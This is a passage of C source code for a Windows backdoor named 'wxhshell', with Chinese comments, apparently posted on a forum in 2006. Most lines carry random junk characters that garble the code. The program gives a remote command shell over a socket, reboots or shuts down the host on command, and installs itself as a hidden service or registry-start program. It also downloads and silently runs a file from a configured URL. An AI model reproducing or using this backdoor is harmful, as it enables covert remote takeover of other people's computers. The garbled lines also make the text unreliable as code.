      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0|K<$e6IH  
    break; fuCt9Kjo<  
  } E@)'Z6r1  
  // 安装 3}3b@:<  
  case 'i': { ;gu4~LQw  
    if(Install()) |9.J?YP8 (  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )MTf  
    else yP} |8x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _ MB/p  
    break; kef% 5B  
    } 0 |?N  
  // 卸载 0wSy[z4V  
  case 'r': { f-H"|9  
    if(Uninstall()) b KIL@AI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %qE"A6j  
    else W?!rqo2SP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hi$N"16A5z  
    break; LH @B\ mS  
    } iFcSz  
  // 显示 wxhshell 所在路径 6@47%%,}  
  case 'p': { Wlq3r#  
    char svExeFile[MAX_PATH]; "+`u ]  
    strcpy(svExeFile,"\n\r"); "Y5 :{Kj  
      strcat(svExeFile,ExeFile); J{kS4v*J  
        send(wsh,svExeFile,strlen(svExeFile),0); T%Cj#J&L  
    break; z?VjlA(X  
    } `D=d!!1eUi  
  // 重启 2u5\tp?8  
  case 'b': { L:?Ew9Lf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /[/{m]  
    if(Boot(REBOOT)) $\1M"a}F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); omPxU2Jw  
    else { /CKnXU;  
    closesocket(wsh); U1fqs{>  
    ExitThread(0); CK|AXz+EN  
    } 5&_")k3$*  
    break; #cW :04  
    } xX{Zh;M&[  
  // 关机 ]mNsG0r6  
  case 'd': { uTJ z"c`F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eLgq )  
    if(Boot(SHUTDOWN)) XDyo=A]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v_v>gPl,  
    else { & @_PY  
    closesocket(wsh); nUX3a'R  
    ExitThread(0); |yp^T  
    } )Spa F)N8  
    break; D^p)`*  
    } *> Be w  
  // 获取shell PQYJn x}  
  case 's': { HFF rS%  
    CmdShell(wsh); QuI!`/N)z  
    closesocket(wsh); |f1^&97=+  
    ExitThread(0); ZWjje6  
    break; s?k:X ~m  
  } SfrM|o  
  // 退出 h -091N  
  case 'x': { L*4= b (3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y,,Z47% E  
    CloseIt(wsh); O7.eq524  
    break; _ /.VXW  
    } q&NXF (  
  // 离开 {-]K!tWda  
  case 'q': { H, GnF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >dw 0@T&p  
    closesocket(wsh); Vj8-[ww!  
    WSACleanup(); (G$Q\>  
    exit(1); =,qY\@fq  
    break; eOXu^M>:F  
        } :=!6w  
  } q;f L@L@-  
  } 'gD./|Z0  
QK#qW-49O  
  // 提示信息 I3sfOU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +u5xK  
} 4k<U5J  
  } BNr%Q:Q  
2VX9FDrnk  
  return; 60e{]}Z  
} DR]oK_  
gQu!(7WLI  
// shell模块句柄 X>o*eN  
int CmdShell(SOCKET sock) Ky8,HdAq  
{ $/(``8li_  
STARTUPINFO si; [(TmAEON  
ZeroMemory(&si,sizeof(si)); Q.V@Sawe5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nG?Z* n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ? IlT[yMw  
PROCESS_INFORMATION ProcessInfo; h. 4#C}> )  
char cmdline[]="cmd"; yiH;fK+x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4"iI3y~Gw  
  return 0; *r9D+}Y(4  
} 86?~N  
9oP  
// 自身启动模式 a%6=sqxE  
int StartFromService(void) X2,v'`U5&  
{ Y-+Kf5_[  
typedef struct j!;E>`g  
{ 0A8G8^T  
  DWORD ExitStatus; a?Y>hvI  
  DWORD PebBaseAddress; }&s |~  
  DWORD AffinityMask; )MoHY   
  DWORD BasePriority; :iQJ9Hdz  
  ULONG UniqueProcessId; <1x u&Z7  
  ULONG InheritedFromUniqueProcessId; :8N by$#V  
}   PROCESS_BASIC_INFORMATION; w6lx&K-  
^Mhh2v  
PROCNTQSIP NtQueryInformationProcess; L7xiq{t`Y  
B(eiRr3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T0b/txS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R@>^t4#_Q0  
'%TD#!a  
  HANDLE             hProcess; ~qTChCXP  
  PROCESS_BASIC_INFORMATION pbi; ka(3ONbG  
mT|r:Yr:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qkC{IBN92  
  if(NULL == hInst ) return 0; Q MX  
#BH]`A J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X_rv}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eE\T,u5:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KMl3`+i  
]S@DVXH  
  if (!NtQueryInformationProcess) return 0; t)O]0) s  
'b>3:&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h{jm  
  if(!hProcess) return 0; W>b\O">  
v=&xiwz}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mOyNl -f  
w=ufJR j  
  CloseHandle(hProcess); Zba<|C  
h*Mi/\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fNyXDCl  
if(hProcess==NULL) return 0; K>\v<!%a  
889^P`Q5  
HMODULE hMod; 8LuU2Lo  
char procName[255]; 2<AQ{ c  
unsigned long cbNeeded; ew c:-2Y^  
oJE<}~_k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N>sHT =_  
!# xi^I  
  CloseHandle(hProcess); u,`V%J?vW  
Aaz:C5dtU  
if(strstr(procName,"services")) return 1; // 以服务启动 D&],.N  
c% ?@3d  
  return 0; // 注册表启动 bpDlFa  
} 3lS1WA   
;xai JJK{  
// 主模块 ^0I"  
int StartWxhshell(LPSTR lpCmdLine) fX1Ib$v  
{ `:0Auw9h  
  SOCKET wsl; C8(0|XX  
BOOL val=TRUE; "0z4mQ}>N  
  int port=0; XN3'k[  
  struct sockaddr_in door; wjOJn]  
(&_~eYZU  
  if(wscfg.ws_autoins) Install(); ybIqn0&[  
d5=&:cF  
port=atoi(lpCmdLine); Fd%JF#Hk  
T=g2gmo9  
if(port<=0) port=wscfg.ws_port; PbV1FB_  
4O{,oN~7  
  WSADATA data; D7jbo[GgS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #B_H/9f(  
jPc,+?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :C&6M79k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p<FqK/  
  door.sin_family = AF_INET; {t]8#[lo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &$~irI  
  door.sin_port = htons(port); a:1$idj  
_vAc/_ N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F"' (i  
closesocket(wsl); 52'6wwv6?  
return 1; $$B#S '  
} @FRas00)|  
I(/*pa?m{  
  if(listen(wsl,2) == INVALID_SOCKET) { q[. p(6:  
closesocket(wsl);  -f<}lhmQ  
return 1; /f=31<+MtF  
} _X{ GZJm  
  Wxhshell(wsl); scE#&OWF%  
  WSACleanup(); .[?2_e#9%  
I&% Z*H  
return 0; gmiLjI  
WZviC_  
} og4mLoLA  
O`9vEovjs  
// 以NT服务方式启动 Jgq#m~M6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wS|hc+1  
{ hSj@<#b>F  
DWORD   status = 0; Zb<D%9  
  DWORD   specificError = 0xfffffff; [[ll4|  
TFXKCl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; TCkMJs?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Dh68=F0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J7kqyo"  
  serviceStatus.dwWin32ExitCode     = 0; F84<='K  
  serviceStatus.dwServiceSpecificExitCode = 0; tU.~7f#+A  
  serviceStatus.dwCheckPoint       = 0; {]4Zpev  
  serviceStatus.dwWaitHint       = 0; Fc^!="H  
;):E 8;B)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4S* X=1  
  if (hServiceStatusHandle==0) return; GgtYO4,  
Vf$$e)  
status = GetLastError(); E>u U6#v  
  if (status!=NO_ERROR) wF*9%K'E  
{ "9NWsy}<c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K}Q:L(SSr\  
    serviceStatus.dwCheckPoint       = 0; T#&X7!4  
    serviceStatus.dwWaitHint       = 0; 7GJcg7s*T  
    serviceStatus.dwWin32ExitCode     = status; bUuQ"!>ppu  
    serviceStatus.dwServiceSpecificExitCode = specificError; xi)$t#K"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7T(&DOGZ  
    return; 2r@9|}La  
  } sy(.p^Z  
]L k- -\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e?KzT5j:  
  serviceStatus.dwCheckPoint       = 0; fY|[YPGO^  
  serviceStatus.dwWaitHint       = 0; \ #la8,+9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q$Sp'  
} Qs<L$"L1  
 ;B{oGy.  
// 处理NT服务事件,比如:启动、停止 y#/P||PM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E<@N4%K_Q  
{ -'^:+FU  
switch(fdwControl) KppYe9?  
{ *rYPjk6g[  
case SERVICE_CONTROL_STOP: /^WOrMR  
  serviceStatus.dwWin32ExitCode = 0; A~< cp)E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x+[ATZ([  
  serviceStatus.dwCheckPoint   = 0; #[Rs&$vQm  
  serviceStatus.dwWaitHint     = 0; &_\;p-1:  
  { mH)8A+us  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :OA;vp~$x  
  } G(bl)p^  
  return; w,OPM}) il  
case SERVICE_CONTROL_PAUSE: PlwM3lrj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $dsLU5]1o  
  break; /RWD\u<l  
case SERVICE_CONTROL_CONTINUE: 4rpry@1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Fv:x>qZr@  
  break; ^Iqu^n?2.  
case SERVICE_CONTROL_INTERROGATE: equi26jhr  
  break; v]T?xo~@'  
}; ^E".`~R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >1` '5A}s  
} :G &:v  
k+hl6$:Qj%  
// 标准应用程序主函数 dt/-0~U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "@t bm[  
{ /bLL!nD=^  
BQB<+o'  
// 获取操作系统版本   Xi w  
OsIsNt=GetOsVer(); Ny2bMj.o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `$vf9'\+  
#L&/o9|  
  // 从命令行安装 ~6+>2|wIS  
  if(strpbrk(lpCmdLine,"iI")) Install(); #oN}DP  
A.~wgJDO  
  // 下载执行文件 $"?$r  
if(wscfg.ws_downexe) { (U\D7ItMG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) moZeP#Q%  
  WinExec(wscfg.ws_filenam,SW_HIDE); u~~ ~@p  
} Emw]`  
d<w]>T5VW  
if(!OsIsNt) { gu&W:FY  
// 如果时win9x,隐藏进程并且设置为注册表启动 |\94a  
HideProc(); }]^/`n  
StartWxhshell(lpCmdLine); ;jBS:k?  
} -vc ,O77z"  
else +x<OyjY5?]  
  if(StartFromService()) L^K,YlNBR  
  // 以服务方式启动 bgkBgugZhX  
  StartServiceCtrlDispatcher(DispatchTable); ~g;)8X;;+  
else 1-Dw-./N  
  // 普通方式启动 3\cx(  
  StartWxhshell(lpCmdLine); CZ =]0zB  
T # gx2Y  
return 0; 7G0;_f{  
}
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只看该作者 1 发表于: 2006-10-10
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